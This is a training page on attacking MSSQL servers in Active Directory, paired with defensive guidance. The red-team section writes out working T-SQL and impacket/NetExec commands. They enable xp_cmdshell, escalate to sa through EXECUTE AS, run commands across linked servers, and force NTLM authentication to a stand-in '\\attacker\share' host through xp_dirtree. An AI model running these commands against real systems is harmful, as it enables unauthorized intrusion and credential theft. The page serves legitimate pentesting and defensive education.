Skip to content
Pwnversity

MSSQL Attacks in AD

Microsoft SQL Server is integrated into Active Directory: it uses domain authentication, runs under service accounts (often with juicy privileges), and its servers link to each other via linked servers that trust one another. To an attacker, a MSSQL is three things at once: a path to command execution on the host (via xp_cmdshell), a source of credentials/impersonation (service accounts, EXECUTE AS), and a lateral-movement bridge across server links. Many roads to DA pass through a misconfigured SQL Server.

Threat model

Section titled “Threat model”

The root error is trust: domain accounts with SQL logins, SQL service accounts with host impersonation privileges, and linked servers configured with high-privilege credentials that let you “hop” from one SQL to another by chaining queries. A low-privilege login can, by chaining impersonation and links, end up as sa or SYSTEM on another server.

Red Team

Section titled “Red Team”

Discovery

Section titled “Discovery”
# locate SQL SPNs in the domain (MSSQLSvc/...)
GetUserSPNs.py domain/user:pass -dc-ip <DC> | grep MSSQL
setspn -T domain -Q MSSQLSvc/*
# try access with domain credentials
nxc mssql <host> -u user -p pass

Connection and enumeration (mssqlclient)

Section titled “Connection and enumeration (mssqlclient)”
mssqlclient.py domain/user:pass@<host> -windows-auth
# inside:
SELECT system_user;           -- who am I
SELECT is_srvrolemember('sysadmin');   -- am I sa?
enum_links                    -- configured linked servers
enum_impersonate              -- who can I EXECUTE AS

Command execution (xp_cmdshell)

Section titled “Command execution (xp_cmdshell)”

If you’re sysadmin (or can become one via impersonation), enable and use xp_cmdshell:

EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';     -- runs as the SQL service account

The SQL service account usually has SeImpersonatePrivilege → from there to SYSTEM with Potato (see Privilege and Token Abuse). Alternatives without xp_cmdshell: sp_OACreate (OLE automation), CLR assemblies, xp_dirtree for coercion.

Escalation via impersonation and roles

Section titled “Escalation via impersonation and roles”
EXECUTE AS LOGIN = 'sa';       -- if you have IMPERSONATE over sa
-- chain: user -> impersonate dbo -> impersonate sa -> sysadmin

Badly granted permissions (IMPERSONATE, CONTROL SERVER, role membership) escalate a normal login to sysadmin.

Lateral movement via linked servers

Section titled “Lateral movement via linked servers”

A linked server configured with privileged credentials lets you execute on the remote SQL:

EXEC ('SELECT system_user; EXEC xp_cmdshell ''whoami''') AT [LINKED-SQL];
-- chainable links: SQL1 -> SQL2 -> SQL3, escalating at each hop

Hash coercion (xp_dirtree / xp_subdirs)

Section titled “Hash coercion (xp_dirtree / xp_subdirs)”
EXEC xp_dirtree '\\attacker\share';   -- forces the service account to authenticate

→ capture/relay the SQL service account’s Net-NTLM (see LLMNR / NBT-NS / mDNS Poisoning/NTLM Relay).

Tools

Section titled “Tools”
  • impacket mssqlclient.py — client with built-in enum/impersonate/links commands.
  • NetExec (nxc) mssql — spray, execution, --local-auth, queries.
  • PowerUpSQL — discovery, auditing, and exploitation of SQL in AD (Windows).
  • mssqlpwner — automates impersonation and linked-server chains.

Impact

Section titled “Impact”

Command execution on the SQL host (→ SYSTEM via SeImpersonate), theft of the service account’s credentials, lateral movement via links to other SQLs, and hash coercion toward relay. A compromised SQL is often the direct springboard into the rest of the domain.

Blue Team

Section titled “Blue Team”

Detection

Section titled “Detection”
  • Enabling xp_cmdshell (sp_configure) and command execution from SQL → sqlservr.exe launching cmd.exe/powershell.exe (Sysmon 1).
  • Use of xp_dirtree/xp_subdirs toward external UNC paths (coercion).
  • Anomalous EXECUTE AS, unexpected AT [linked] queries, unusual domain logins.

Telemetry

Section titled “Telemetry”

SQL Server auditing (login auditing, xp_cmdshell events), Sysmon on the SQL host (child processes of sqlservr.exe), and detection of outbound authentications from the service account.

Hardening

Section titled “Hardening”
  • Disable xp_cmdshell, sp_OACreate, and OLE automation; restrict CLR.
  • Least privilege on the SQL service account: remove SeImpersonate if unneeded; use gMSA.
  • Review linked servers: don’t configure them with privileged credentials; use the user’s context, not sa.
  • Audit IMPERSONATE/CONTROL SERVER permissions; don’t put domain accounts in sysadmin needlessly.
  • Strong/random password for the service account (Kerberoasting), SMB signing (coercion→relay).

Response

Section titled “Response”

Disable xp_cmdshell, rotate the SQL service account password, review linked servers and permissions, and hunt for execution/persistence left from SQL (jobs, CLR, triggers).

CVEs and real-world cases

Section titled “CVEs and real-world cases”
  • Most are configuration abuses, not CVEs (MITRE T1505, T1210, T1078).
  • PowerUpSQL (Scott Sutherland/NetSPI) extensively documented the impersonation and linked-server chains.
  • SQL→SYSTEM→domain chains routinely appear in internal pentest reports and in intrusions where SQL was the most accessible service.

Testing checklist

Section titled “Testing checklist”
  • Locate SQL by SPN (MSSQLSvc) and try access with domain creds
  • Am I sysadmin? Can I become one via impersonation? (enum_impersonate)
  • xp_cmdshell enablable → execution as the service account
  • Does the service account have SeImpersonate? → SYSTEM (Potato)
  • Chainable linked servers (enum_links) → lateral
  • xp_dirtree for coercion → Net-NTLM capture/relay
  • Kerberoasting of the SQL service account
  • Blue: is xp_cmdshell disabled and gMSA in use?

References

Section titled “References”